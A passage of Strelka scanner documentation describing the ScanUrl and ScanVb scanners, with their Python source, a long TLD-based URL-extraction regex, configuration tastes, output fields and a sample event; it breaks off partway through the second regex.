Optionsregex: Dictionary entry that specifies a regex to apply to the scanner. This entry is lazy loaded when it is first referenced, compiled, and stored in the regexes dictionary. Defaults to False (uses default regex).
Source code instrelka/src/python/strelka/scanners/scan_url.py class ScanUrl(strelka.Scanner):\n \"\"\"Collects URLs from files.\n\n Uses regular expressions (regex) to parse URLs from file data. Multiple\n regexes are supported through the 'regex' option. The default URL regex is\n derived from these resources:\n https://mathiasbynens.be/demo/url-regex\n https://data.iana.org/TLD/tlds-alpha-by-domain.txt\n\n Attributes:\n regexes: Dictionary of compiled regexes used by the scanner. This\n includes a default regex that is widely scoped.\n\n Options:\n regex: Dictionary entry that specifies a regex to apply to the scanner.\n This entry is lazy loaded when it is first referenced, compiled, and\n stored in the regexes dictionary.\n Defaults to False (uses default regex).\n \"\"\"\n\n def init(self):\n # Default compiled regex pattern for URL extraction.\n # This default pattern aims to match a wide range of URLs including those with TLDs.\n self.regexes = {\n \"default\": re.compile(\n rb'(?:\\b[a-z\\d.-]+://[^<>\\s\\(\\)]+|\\b(?:(?:(?:[^\\s!@#$%^&*()_=+[\\]{}\\|;:\\'\",.<>/?]+)\\.)+(?:aaa|aarp|abarth|abb|abbott|abbvie|abc|able|abogado|abudhabi|ac|academy|accenture|accountant|accountants|aco|active|actor|ad|adac|ads|adult|ae|aeg|aero|aetna|af|afamilycompany|afl|africa|ag|agakhan|agency|ai|aig|aigo|airbus|airforce|airtel|akdn|al|alfaromeo|alibaba|alipay|allfinanz|allstate|ally|alsace|alstom|am|americanexpress|americanfamily|amex|amfam|amica|amsterdam|analytics|android|anquan|anz|ao|aol|apartments|app|apple|aq|aquarelle|ar|arab|aramco|archi|army|arpa|art|arte|as|asda|asia|associates|at|athleta|attorney|au|auction|audi|audible|audio|auspost|author|auto|autos|avianca|aw|aws|ax|axa|az|azure|ba|baby|baidu|banamex|bananarepublic|band|bank|bar|barcelona|barclaycard|barclays|barefoot|bargains|baseball|basketball|bauhaus|bayern|bb|bbc|bbt|bbva|bcg|bcn|bd|be|beats|beauty|beer|bentley|berlin|best|bestbuy|bet|bf|bg|bh|bharti|bi|bible|bid|bike|bing|bingo|bio|biz|bj|black|blackfriday|blanco|blockbuster|blog|bloomberg|blue|bm|bms|bmw|bn|bnl|bnpparibas|bo|boats|boehringer|bofa|bom|bond|boo|book|booking|bosch|bostik|boston|bot|boutique|box|br|bradesco|bridgestone|broadway|broker|brother|brussels|bs|bt|budapest|bugatti|build|builders|business|buy|buzz|bv|bw|by|bz|bzh|ca|cab|cafe|cal|call|calvinklein|cam|camera|camp|cancerresearch|canon|capetown|capital|capitalone|car|caravan|cards|care|career|careers|cars|cartier|casa|case|caseih|cash|casino|cat|catering|catholic|cba|cbn|cbre|cbs|cc|cd|ceb|center|ceo|cern|cf|cfa|cfd|cg|ch|chanel|channel|charity|chase|chat|cheap|chintai|christmas|chrome|chrysler|church|ci|cipriani|circle|cisco|citadel|citi|citic|city|cityeats|ck|cl|claims|cleaning|click|clinic|clinique|clothing|cloud|club|clubmed|cm|cn|co|coach|codes|coffee|college|cologne|com|comcast|commbank|community|company|compare|computer|comsec|condos|construction|consulting|contact|contractors|cooking|cookingchannel|cool|coop|corsica|country|coupon|coupons|courses|cr|credit|creditcard|creditunion|cricket|crown|crs|cruise|cruises|csc|cu|cuisinella|cv|cw|cx|cy|cymru|cyou|cz|dabur|dad|dance|data|date|dating|datsun|day|dclk|dds|de|deal|dealer|deals|degree|delivery|dell|deloitte|delta|democrat|dental|dentist|desi|design|dev|dhl|diamonds|diet|digital|direct|directory|discount|discover|dish|diy|dj|dk|dm|dnp|do|docs|doctor|dodge|dog|doha|domains|dot|download|drive|dtv|dubai|duck|dunlop|duns|dupont|durban|dvag|dvr|dz|earth|eat|ec|eco|edeka|edu|education|ee|eg|email|emerck|energy|engineer|engineering|enterprises|epost|epson|equipment|er|ericsson|erni|es|esq|estate|esurance|et|etisalat|eu|eurovision|eus|events|everbank|exchange|expert|exposed|express|extraspace|fage|fail|fairwinds|faith|family|fan|fans|farm|farmers|fashion|fast|fedex|feedback|ferrari|ferrero|fi|fiat|fidelity|fido|film|final|finance|financial|fire|firestone|firmdale|fish|fishing|fit|fitness|fj|fk|flickr|flights|flir|florist|flowers|fly|fm|fo|foo|food|foodnetwork|football|ford|forex|forsale|forum|foundation|fox|fr|free|fresenius|frl|frogans|frontdoor|frontier|ftr|fujitsu|fujixerox|fun|fund|furniture|futbol|fyi|ga|gal|gallery|gallo|gallup|game|games|gap|garden|gb|gbiz|gd|gdn|ge|gea|gent|genting|george|gf|gg|ggee|gh|gi|gift|gifts|gives|giving|gl|glade|glass|gle|global|globo|gm|gmail|gmbh|gmo|gmx|gn|godaddy|gold|goldpoint|golf|goo|goodhands|goodyear|goog|google|gop|got|gov|gp|gq|gr|grainger|graphics|gratis|green|gripe|grocery|group|gs|gt|gu|guardian|gucci|guge|guide|guitars|guru|gw|gy|hair|hamburg|hangout|haus|hbo|hdfc|hdfcbank|health|healthcare|help|helsinki|here|hermes|hgtv|hiphop|hisamitsu|hitachi|hiv|hk|hkt|hm|hn|hockey|holdings|holiday|homedepot|homegoods|homes|homesense|honda|honeywell|horse|hospital|host|hosting|hot|hoteles|hotels|hotmail|house|how|hr|hsbc|ht|hu|hughes|hyatt|hyundai|ibm|icbc|ice|icu|id|ie|ieee|ifm|ikano|il|im|imamat|imdb|immo|immobilien|in|inc|industries|infiniti|info|ing|ink|institute|insurance|insure|int|intel|international|intuit|investments|io|ipiranga|iq|ir|irish|is|iselect|ismaili|ist|istanbul|it|itau|itv|iveco|jaguar|java|jcb|jcp|je|jeep|jetzt|jewelry|jio|jlc|jll|jm|jmp|jnj|jo|jobs|joburg|jot|joy|jp|jpmorgan|jprs|juegos|juniper|kaufen|kddi|ke|kerryhotels|kerrylogistics|kerryproperties|kfh|kg|kh|ki|kia|kim|kinder|kindle|kitchen|kiwi|km|kn|koeln|komatsu|kosher|kp|kpmg|kpn|kr|krd|kred|kuokgroup|kw|ky|kyoto|kz|la|lacaixa|ladbrokes|lamborghini|lamer|lancaster|lancia|lancome|land|landrover|lanxess|lasalle|lat|latino|latrobe|law|lawyer|lb|lc|lds|lease|leclerc|lefrak|legal|lego|lexus|lgbt|li|liaison|lidl|life|lifeinsurance|lifestyle|lighting|like|lilly|limited|limo|lincoln|linde|link|lipsy|live|living|lixil|lk|llc|loan|loans|locker|locus|loft|lol|london|lotte|lotto|love|lpl|lplfinancial|lr|ls|lt|ltd|ltda|lu|lundbeck|lupin|luxe|luxury|lv|ly|ma|macys|madrid|maif|maison|makeup|man|management|mango|map|market|marketing|markets|marriott|marshalls|maserati|mattel|mba|mc|mckinsey|md|me|med|media|meet|melbourne|meme|memorial|men|menu|merckmsd|metlife|mg|mh|miami|microsoft|mil|mini|mint|mit|mitsubishi|mk|ml|mlb|mls|mm|mma|mn|mo|mobi|mobile|mobily|moda|moe|moi|mom|monash|money|monster|mopar|mormon|mortgage|moscow|moto|motorcycles|mov|movie|movistar|mp|mq|mr|ms|msd|mt|mtn|mtr|mu|museum|mutual|mv|mw|mx|my|mz|na|nab|nadex|nagoya|name|nationwide|natura|navy|nba|nc|ne|nec|net|netbank|netflix|network|neustar|new|newholland|news|next|nextdirect|nexus|nf|nfl|ng|ngo|nhk|ni|nico|nike|nikon|ninja|nissan|nissay|nl|no|nokia|northwesternmutual|norton|now|nowruz|nowtv|np|nr|nra|nrw|ntt|nu|nyc|nz|obi|observer|off|office|okinawa|olayan|olayangroup|oldnavy|ollo|om|omega|one|ong|onl|online|onyourside|ooo|open|oracle|orange|org|organic|origins|osaka|otsuka|ott|ovh|pa|page|panasonic|panerai|paris|pars|partners|parts|party|passagens|pay|pccw|pe|pet|pf|pfizer|pg|ph|pharmacy|phd|philips|phone|photo|photography|photos|physio|piaget|pics|pictet|pictures|pid|pin|ping|pink|pioneer|pizza|pk|pl|place|play|playstation|plumbing|plus|pm|pn|pnc|pohl|poker|politie|porn|post|pr|pramerica|praxi|press|prime|pro|prod|productions|prof|progressive|promo|properties|property|protection|pru|prudential|ps|pt|pub|pw|pwc|py|qa|qpon|quebec|quest|qvc|racing|radio|raid|re|read|realestate|realtor|realty|recipes|red|redstone|redumbrella|rehab|reise|reisen|reit|reliance|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rexroth|rich|richardli|ricoh|rightathome|ril|rio|rip|rmit|ro|rocher|rocks|rodeo|rogers|room|rs|rsvp|ru|rugby|ruhr|run|rw|rwe|ryukyu|sa|saarland|safe|safety|sakura|sale|salon|samsclub|samsung|sandvik|sandvikcoromant|sanofi|sap|sarl|sas|save|saxo|sb|sbi|sbs|sc|sca|scb|schaeffler|schmidt|scholarships|school|schule|schwarz|science|scjohnson|scor|scot|sd|se|search|seat|secure|security|seek|select|sener|services|ses|seven|sew|sex|sexy|sfr|sg|sh|shangrila|sharp|shaw|shell|shia|shiksha|shoes|shop|shopping|shouji|show|showtime|shriram|si|silk|sina|singles|site|sj|sk|ski|skin|sky|skype|sl|sling|sm|smart|smile|sn|sncf|so|soccer|social|softbank|software|sohu|solar|solutions|song|sony|soy|space|spiegel|sport|spot|spreadbetting|sr|srl|srt|st|stada|staples|star|starhub|statebank|statefarm|statoil|stc|stcgroup|stockholm|storage|store|stream|studio|study|style|su|sucks|supplies|supply|support|surf|surgery|suzuki|sv|swatch|swiftcover|swiss|sx|sy|sydney|symantec|systems|sz|tab|taipei|talk|taobao|target|tatamotors|tatar|tattoo|tax|taxi|tc|tci|td|tdk|team|tech|technology|tel|telefonica|temasek|tennis|teva|tf|tg|th|thd|theater|theatre|tiaa|tickets|tienda|tiffany|tips|tires|tirol|tj|tjmaxx|tjx|tk|tkmaxx|tl|tm|tmall|tn|to|today|tokyo|tools|top|toray|toshiba|total|tours|town|toyota|toys|tr|trade|trading|training|travel|travelchannel|travelers|travelersinsurance|trust|trv|tt|tube|tui|tunes|tushu|tv|tvs|tw|tz|ua|ubank|ubs|uconnect|ug|uk|unicom|university|uno|uol|ups|us|uy|uz|va|vacations|vana|vanguard|vc|ve|vegas|ventures|verisign|versicherung|vet|vg|vi|viajes|video|vig|viking|villas|vin|vip|virgin|visa|vision|vistaprint|viva|vivo|vlaanderen|vn|vodka|volkswagen|volvo|vote|voting|voto|voyage|vu|vuelos|wales|walmart|walter|wang|wanggou|warman|watch|watches|weather|weatherchannel|webcam|weber|website|wed|wedding|weibo|weir|wf|whoswho|wien|wiki|williamhill|win|windows|wine|winners|wme|wolterskluwer|woodside|work|works|world|wow|ws|wtc|wtf|xbox|xerox|xfinity|xihuan|xin|xn--11b4c3d|xn--1ck2e1b|xn--1qqw23a|xn--2scrj9c|xn--30rr7y|xn--3bst00m|xn--3ds443g|xn--3e0b707e|xn--3hcrj9c|xn--3oq18vl8pn36a|xn--3pxu8k|xn--42c2d9a|xn--45br5cyl|xn--45brj9c|xn--45q11c|xn--4gbrim|xn--54b7fta0cc|xn--55qw42g|xn--55qx5d|xn--5su34j936bgsg|xn--5tzm5g|xn--6frz82g|xn--6qq986b3xl|xn--80adxhks|xn--80ao21a|xn--80aqecdr1a|xn--80asehdb|xn--80aswg|xn--8y0a063a|xn--90a3ac|xn--90ae|xn--90ais|xn--9dbq2a|xn--9et52u|xn--9krt00a|xn--b4w605ferd|xn--bck1b9a5dre4c|xn--c1avg|xn--c2br7g|xn--cck2b3b|xn--cg4bki|xn--clchc0ea0b2g2a9gcd|xn--czr694b|xn--czrs0t|xn--czru2d|xn--d1acj3b|xn--d1alf|xn--e1a4c|xn--eckvdtc9d|xn--efvy88h|xn--estv75g|xn--fct429k|xn--fhbei|xn--fiq228c5hs|xn--fiq64b|xn--fiqs8s|xn--fiqz9s|xn--fjq720a|xn--flw351e|xn--fpcrj9c3d|xn--fzc2c9e2c|xn--fzys8d69uvgm|xn--g2xx48c|xn--gckr3f0f|xn--gecrj9c|xn--gk3at1e|xn--h2breg3eve|xn--h2brj9c|xn--h2brj9c8c|xn--hxt814e|xn--i1b6b1a6a2e|xn--imr513n|xn--io0a7i|xn--j1aef|xn--j1amh|xn--j6w193g|xn--jlq61u9w7b|xn--jvr189m|xn--kcrx77d1x4a|xn--kprw13d|xn--kpry57d|xn--kpu716f|xn--kput3i|xn--l1acc|xn--lgbbat1ad8j|xn--mgb9awbf|xn--mgba3a3ejt|xn--mgba3a4f16a|xn--mgba7c0bbn0a|xn--mgbaakc7dvf|xn--mgbaam7a8h|xn--mgbab2bd|xn--mgbai9azgqp6j|xn--mgbayh7gpa|xn--mgbb9fbpob|xn--mgbbh1a|xn--mgbbh1a71e|xn--mgbc0a9azcg|xn--mgbca7dzdo|xn--mgberp4a5d4ar|xn--mgbgu82a|xn--mgbi4ecexp|xn--mgbpl2fh|xn--mgbt3dhd|xn--mgbtx2b|xn--mgbx4cd0ab|xn--mix891f|xn--mk1bu44c|xn--mxtq1m|xn--ngbc5azd|xn--ngbe9e0a|xn--ngbrx|xn--node|xn--nqv7f|xn--nqv7fs00ema|xn--nyqy26a|xn--o3cw4h|xn--ogbpf8fl|xn--otu796d|xn--p1acf|xn--p1ai|xn--pbt977c|xn--pgbs0dh|xn--pssy2u|xn--q9jyb4c|xn--qcka1pmc|xn--qxam|xn--rhqv96g|xn--rovu88b|xn--rvc1e0am3e|xn--s9brj9c|xn--ses554g|xn--t60b56a|xn--tckwe|xn--tiq49xqyj|xn--unup4y|xn--vermgensberater-ctb|xn--vermgensberatung-pwb|xn--vhquv|xn--vuq861b|xn--w4r85el8fhu5dnra|xn--w4rs40l|xn--wgbh1c|xn--wgbl6a|xn--xhq521b|xn--xkc2al3hye2a|xn--xkc2dl3a5ee0h|xn--y9a3aq|xn--yfro4i67o|xn--ygbi2ammx|xn--zfr164b|xxx|xyz|yachts|yahoo|yamaxun|yandex|ye|yodobashi|yoga|yokohama|you|youtube|yt|yun|za|zappos|zara|zero|zip|zippo|zm|zone|zuerich|zw)|(?:(?:[0-9]|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])\\.){3}(?:[0-9]|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5]))(?:[;/][^#?<>\\s]*)?(?:\\?[^#<>\\s]*)?(?:#[^<>\\s\\(\\)]*)?(?!\\w))'\n )\n }\n\n def scan(self, data, file, options, expire_at):\n try:\n # Obtain regex pattern from options or use the default one.\n regex_key = options.get(\"regex\", \"default\")\n if regex_key not in self.regexes and regex_key in options:\n # Compile and store the custom regex if provided and not already compiled.\n self.regexes[regex_key] = re.compile(options[regex_key].encode())\n\n url_regex = self.regexes[regex_key]\n\n # Normalize data: replace multiple whitespace characters with a single space.\n normalized_data = re.sub(rb\"\\s+\", b\" \", data)\n\n # Initialize 'urls' event list to store extracted URLs.\n self.event.setdefault(\"urls\", [])\n\n # Find all URLs using the regex pattern.\n urls = set(url_regex.findall(normalized_data))\n for url in urls:\n # Strip leading and trailing punctuation characters from the URL.\n clean_url = url.strip(b\"!\\\"#$%&'()*+,-./:;<=>?@[\\\\]^_`{|}~\").decode()\n if clean_url not in self.event[\"urls\"]:\n self.event[\"urls\"].append(clean_url)\n\n except Exception as e:\n self.flags.append(f\"scanner_error: {e}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanUrl.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludetext/plain"},{"location":"Scanners/ScanUrl.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list urls str urls list"},{"location":"Scanners/ScanUrl.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"urls\": unordered(\n [\n \"example.com\",\n \"http://foobar.example.com\",\n \"https://barfoo.example.com\",\n \"ftp://barfoo.example.com\",\n ]\n ),\n }\nScanner for Visual Basic (VB) script files.
This scanner parses VB script files to extract various components like comments, function names, strings, and URLs. It leverages the Pygments lexer for VB.NET to tokenize the script data and then extracts useful information from these tokens.
Attributes:
Name Type Descriptionlexer A Pygments lexer object for tokenizing VB.NET scripts.
url_regex A compiled regex pattern for extracting URLs from the script.
Source code instrelka/src/python/strelka/scanners/scan_vb.py class ScanVb(strelka.Scanner):\n \"\"\"\n Scanner for Visual Basic (VB) script files.\n\n This scanner parses VB script files to extract various components like comments,\n function names, strings, and URLs. It leverages the Pygments lexer for VB.NET to\n tokenize the script data and then extracts useful information from these tokens.\n\n Attributes:\n lexer: A Pygments lexer object for tokenizing VB.NET scripts.\n url_regex: A compiled regex pattern for extracting URLs from the script.\n \"\"\"\n\n def init(self):\n # Initialize the lexer for VB.NET language using Pygments\n self.lexer = lexers.get_lexer_by_name(\"vbnet\")\n\n # Regular expression to capture URLs, considering various schemes and TLDs.\n self.url_regex = re.compile(\n r'(?:\\b[a-z\\d.-]+://[^<>\\s\\(\\)]+|\\b(?:(?:(?:[^\\s!@#$%^&*()_=+[\\]{}\\|;:\\'\",.<>/?]+)\\.)+(?:aaa|aarp|abarth|abb|abbott|abbvie|abc|able|abogado|abudhabi|ac|academy|accenture|accountant|accountants|aco|active|actor|ad|adac|ads|adult|ae|aeg|aero|aetna|af|afamilycompany|afl|africa|ag|agakhan|agency|ai|aig|aigo|airbus|airforce|airtel|akdn|al|alfaromeo|alibaba|alipay|allfinanz|allstate|ally|alsace|alstom|am|americanexpress|americanfamily|amex|amfam|amica|amsterdam|analytics|android|anquan|anz|ao|aol|apartments|app|apple|aq|aquarelle|ar|arab|aramco|archi|army|arpa|art|arte|as|asda|asia|associates|at|athleta|attorney|au|auction|audi|audible|audio|auspost|author|auto|autos|avianca|aw|aws|ax|axa|az|azure|ba|baby|baidu|banamex|bananarepublic|band|bank|bar|barcelona|barclaycard|barclays|barefoot|bargains|baseball|basketball|bauhaus|bayern|bb|bbc|bbt|bbva|bcg|bcn|bd|be|beats|beauty|beer|bentley|berlin|best|bestbuy|bet|bf|bg|bh|bharti|bi|bible|bid|bike|bing|bingo|bio|biz|bj|black|blackfriday|blanco|blockbuster|blog|bloomberg|blue|bm|bms|bmw|bn|bnl|bnpparibas|bo|boats|boehringer|bofa|bom|bond|boo|book|booking|bosch|bostik|boston|bot|boutique|box|br|bradesco|bridgestone|broadway|broker|brother|brussels|bs|bt|budapest|bugatti|build|builders|business|buy|buzz|bv|bw|by|bz|bzh|ca|cab|cafe|cal|call|calvinklein|cam|camera|camp|cancerresearch|canon|capetown|capital|capitalone|car|caravan|cards|care|career|careers|cars|cartier|casa|case|caseih|cash|casino|cat|catering|catholic|cba|cbn|cbre|cbs|cc|cd|ceb|center|ceo|cern|cf|cfa|cfd|cg|ch|chanel|channel|charity|chase|chat|cheap|chintai|christmas|chrome|chrysler|church|ci|cipriani|circle|cisco|citadel|citi|citic|city|cityeats|ck|cl|claims|cleaning|click|clinic|clinique|clothing|cloud|club|clubmed|cm|cn|co|coach|codes|coffee|college|cologne|com|comcast|commbank|community|company|compare|computer|comsec|condos|construction|consulting|contact|contractors|cooking|cookingchannel|cool|coop|corsica|country|coupon|coupons|courses|cr|credit|creditcard|creditunion|cricket|crown|crs|cruise|cruises|csc|cu|cuisinella|cv|cw|cx|cy|cymru|cyou|cz|dabur|dad|dance|data|date|dating|datsun|day|dclk|dds|de|deal|dealer|deals|degree|delivery|dell|deloitte|delta|democrat|dental|dentist|desi|design|dev|dhl|diamonds|diet|digital|direct|directory|discount|discover|dish|diy|dj|dk|dm|dnp|do|docs|doctor|dodge|dog|doha|domains|dot|download|drive|dtv|dubai|duck|dunlop|duns|dupont|durban|dvag|dvr|dz|earth|eat|ec|eco|edeka|edu|education|ee|eg|email|emerck|energy|engineer|engineering|enterprises|epost|epson|equipment|er|ericsson|erni|es|esq|estate|esurance|et|etisalat|eu|eurovision|eus|events|everbank|exchange|expert|exposed|express|extraspace|fage|fail|fairwinds|faith|family|fan|fans|farm|farmers|fashion|fast|fedex|feedback|ferrari|ferrero|fi|fiat|fidelity|fido|film|final|finance|financial|fire|firestone|firmdale|fish|fishing|fit|fitness|fj|fk|flickr|flights|flir|florist|flowers|fly|fm|fo|foo|food|foodnetwork|football|ford|forex|forsale|forum|foundation|fox|fr|free|fresenius|frl|frogans|frontdoor|frontier|ftr|fujitsu|fujixerox|fun|fund|furniture|futbol|fyi|ga|gal|gallery|gallo|gallup|game|games|gap|garden|gb|gbiz|gd|gdn|ge|gea|gent|genting|george|gf|gg|ggee|gh|gi|gift|gifts|gives|giving|gl|glade|glass|gle|global|globo|gm|gmail|gmbh|gmo|gmx|gn|godaddy|gold|goldpoint|golf|goo|goodhands|goodyear|goog|google|gop|got|gov|gp|gq|gr|grainger|graphics|gratis|green|gripe|grocery|group|gs|gt|gu|guardian|gucci|guge|guide|guitars|guru|gw|gy|hair|hamburg|hangout|haus|hbo|hdfc|hdfcbank|health|healthcare|help|helsinki|here|hermes|hgtv|hiphop|hisamitsu|hitachi|hiv|hk|hkt|hm|hn|hockey|holdings|holiday|homedepot|homegoods|homes|homesense|honda|honeywell|horse|hospital|host|hosting|hot|hoteles|hotels|hotmail|house|how|hr|hsbc|ht|hu|hughes|hyatt|hyundai|ibm|icbc|ice|icu|id|ie|ieee|ifm|ikano|il|im|imamat|imdb|immo|immobilien|in|inc|industries|infiniti|info|ing|ink|institute|insurance|insure|int|intel|international|intuit|investments|io|ipiranga|iq|ir|irish|is|iselect|ismaili|ist|istanbul|it|itau|itv|iveco|jaguar|java|jcb|jcp|je|jeep|jetzt|jewelry|jio|jlc|jll|jm|jmp|jnj|jo|jobs|joburg|jot|joy|jp|jpmorgan|jprs|juegos|juniper|kaufen|kddi|ke|kerryhotels|kerrylogistics|kerryproperties|kfh|kg|kh|ki|kia|kim|kinder|kindle|kitchen|kiwi|km|kn|koeln|komatsu|kosher|kp|kpmg|kpn|kr|krd|kred|kuokgroup|kw|ky|kyoto|kz|la|lacaixa|ladbrokes|lamborghini|lamer|lancaster|lancia|lancome|land|landrover|lanxess|lasalle|lat|latino|latrobe|law|lawyer|lb|lc|lds|lease|leclerc|lefrak|legal|lego|lexus|lgbt|li|liaison|lidl|life|lifeinsurance|lifestyle|lighting|like|lilly|limited|limo|lincoln|linde|link|lipsy|live|living|lixil|lk|llc|loan|loans|locker|locus|loft|lol|london|lotte|lotto|love|lpl|lplfinancial|lr|ls|lt|ltd|ltda|lu|lundbeck|lupin|luxe|luxury|lv|ly|ma|macys|madrid|maif|maison|makeup|man|management|mango|map|market|marketing|markets|marriott|marshalls|maserati|mattel|mba|mc|mckinsey|md|me|med|media|meet|melbourne|meme|memorial|men|menu|merckmsd|metlife|mg|mh|miami|microsoft|mil|mini|mint|mit|mitsubishi|mk|ml|mlb|mls|mm|mma|mn|mo|mobi|mobile|mobily|moda|moe|moi|mom|monash|money|monster|mopar|mormon|mortgage|moscow|moto|motorcycles|mov|movie|movistar|mp|mq|mr|ms|msd|mt|mtn|mtr|mu|museum|mutual|mv|mw|mx|my|mz|na|nab|nadex|nagoya|name|nationwide|natura|navy|nba|nc|ne|nec|net|netbank|netflix|network|neustar|new|newholland|news|next|nextdirect|nexus|nf|nfl|ng|ngo|nhk|ni|nico|nike|nikon|ninja|nissan|nissay|nl|no|nokia|northwesternmutual|norton|now|nowruz|nowtv|np|nr|nra|nrw|ntt|nu|nyc|nz|obi|observer|off|office|okinawa|olayan|olayangroup|oldnavy|ollo|om|omega|one|ong|onl|online|onyourside|ooo|open|oracle|orange|org|organic|origins|osaka|otsuka|ott|ovh|pa|page|panasonic|panerai|paris|pars|partners|parts|party|passagens|pay|pccw|pe|pet|pf|pfizer|pg|ph|pharmacy|phd|philips|phone|photo|photography|photos|physio|piaget|pics|pictet|pictures|pid|pin|ping|pink|pioneer|pizza|pk|pl|place|play|playstation|plumbing|plus|pm|pn|pnc|pohl|poker|politie|porn|post|pr|pramerica|praxi|press|prime|pro|prod|productions|prof|progressive|promo|properties|property|protection|pru|prudential|ps|pt|pub|pw|pwc|py|qa|qpon|quebec|quest|qvc|racing|radio|raid|re|read|realestate|realtor|realty|recipes|red|redstone|redumbrella|rehab|reise|reisen|reit|reliance|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rexroth|rich|richardli|ricoh|rightathome|ril|rio|rip|rmit|ro|rocher|rocks|rodeo|rogers|room|rs|rsvp|ru|rugby|ruhr|run|rw|rwe|ryukyu|sa|saarland|safe|safety|sakura|sale|salon|samsclub|samsung|sandvik|sandvikcoromant|sanofi|sap|sarl|sas|save|saxo|sb|sbi|sbs|sc|sca|scb|schaeffler|schmidt|scholarships|school|schule|schwarz|science|scjohnson|scor|scot|sd|se|search|seat|secure|security|seek|select|sener|services|ses|seven|sew|sex|sexy|sfr|sg|sh|shangrila|sharp|shaw|shell|shia|shiksha|shoes|shop|shopping|shouji|show|showtime|shriram|si|silk|sina|singles|site|sj|sk|ski|skin|sky|skype|sl|sling|sm|smart|smile|sn|sncf|so|soccer|social|softbank|software|sohu|solar|solutions|song|sony|soy|space|spiegel|sport|spot|spreadbetting|sr|srl|srt|st|stada|staples|star|starhub|statebank|statefarm|statoil|stc|stcgroup|stockholm|storage|store|stream|studio|study|style|su|sucks|supplies|supply|support|surf|surgery|suzuki|sv|swatch|swiftcover|swiss|sx|sy|sydney|symantec|systems|sz|tab|taipei|talk|taobao|target|tatamotors|tatar|tattoo|tax|taxi|tc|tci|td|tdk|team|tech|technology|tel|telefonica|temasek|tennis|teva|tf|tg|th|thd|theater|theatre|tiaa|tickets|tienda|tiffany|tips|tires|tirol|tj|tjmaxx|tjx|tk|tkmaxx|tl|tm|tmall|tn|to|today|tokyo|tools|top|toray|toshiba|total|tours|town|toyota|toys|tr|trade|trading|training|travel|travelchannel|travelers|travelersinsurance|trust|trv|tt|tube|tui|tunes|tushu|tv|tvs|tw|tz|ua|ubank|ubs|uconnect|ug|uk|unicom|university|uno|uol|ups|us|uy|uz|va|vacations|vana|vanguard|vc|ve|vegas|ventures|verisign|versicherung|vet|vg|vi|viajes|video|vig|viking|villas|vin|vip|virgin|visa|vision|vistaprint|viva|vivo|vlaanderen|vn|vodka|volkswagen|volvo|vote|voting|voto|voyage|vu|vuelos|wales|walmart|walter|wang|wanggou|warman|watch|watches|weather|weatherchannel|webcam|weber|website|wed|wedding|weibo|weir|wf|whoswho|wien|wiki|williamhill|win|windows|wine|winners|wme|wolterskluwer|woodside|work|works|world|wow|ws|wtc|wtf|xbox|xerox|xfinity|xihuan|xin|xn--11b4c3d|xn--1ck2e1b|xn--1qqw23a|xn--2scrj9c|xn--30rr7y|xn--3bst00m|xn--3ds443g|xn--3e0b707e|xn--3hcrj9c|xn--3oq18vl8pn36a|xn--3pxu8k|xn--42c2d9a|xn--45br5cyl|xn--45brj9c|xn--45q11c|xn--4gbrim|xn--54b7fta0cc|xn--55qw42g|xn--55qx5d|xn--5su34j936bgsg|xn--5tzm5g|xn--6frz82g|xn--6qq986b3xl|xn--80adxhks|xn--80ao21a|xn--80aqecdr1a|xn--80asehdb|xn--80aswg|xn--8y0a063a|xn--90a3ac|xn--90ae|xn--90ais|xn--9dbq2a|xn--9et52u|xn--9krt00a|xn--b4w605ferd|xn--bck1b9a5dre4c|xn--c1avg|xn--c2br7g|xn--cck2b3b|xn--cg4bki|xn--clchc0ea0b2g2a9gcd|xn--czr694b|xn--czrs0t|xn--czru2d|xn--d1acj3b|xn--d1alf|xn--e1a4c|xn--eckvdtc9d|xn--efvy88h|xn--estv75g|xn--fct429k|xn--fhbei|xn--fiq228c5hs|xn--fiq64b|xn--fiqs8s|xn--fiqz9s|xn--fjq720a|xn--flw351e|xn--fpcrj9c3d|xn--fzc2c9e2c|xn--fzys8d69uvgm|xn--g2xx48c|xn--gckr3f0f|xn--gecrj9c|xn--gk3at1e|xn--h2breg3eve|xn--h2brj9c|xn--h2brj9c8c|xn--hxt814e|xn--i1b6b1a6a2e|xn--imr513n|xn--io0a7i|xn--j1aef|xn--j1amh|xn--j6w193g|xn--jlq61u9w7b|xn--jvr189m|xn--kcrx77d1x4a|xn--kprw13d|xn--kpry57d|xn--kpu716f|xn--kput3i|xn--l1acc|xn--lgbbat1ad8j|xn--mgb9awbf|xn--mgba3a3ejt|xn--mgba3a4f16a|xn--mgba7c0bbn0a|xn--mgbaakc7dvf|xn--mgbaam7a8h|xn--mgbab2bd|xn--mgbai9azgqp6j|xn--mgbayh7gpa|xn--mgbb9fbpob|xn--mgbbh1a|xn--mgbbh1a71e|xn--mgbc0a9azcg|xn--mgbca7dzdo|xn--mgberp4a5d4ar|xn--mgbgu82a|xn--mgbi4ecexp|xn--mgbpl2fh|xn--mgbt3dhd|xn--mgbtx2b|xn--mgbx4cd0ab|xn--mix891f|xn--mk1bu44c|xn--mxtq1m|xn--ngbc5azd|xn--ngbe9e0a|xn--ngbrx|xn--node|xn--nqv7f|xn--nqv7fs00ema|xn--nyqy26a|xn--o3cw4h|xn--ogbpf8fl|xn--otu796d|xn--p1acf|xn--p1ai|xn--pbt977c|xn--pgbs0dh|xn--pssy2u|xn--q9jyb4c|xn--qcka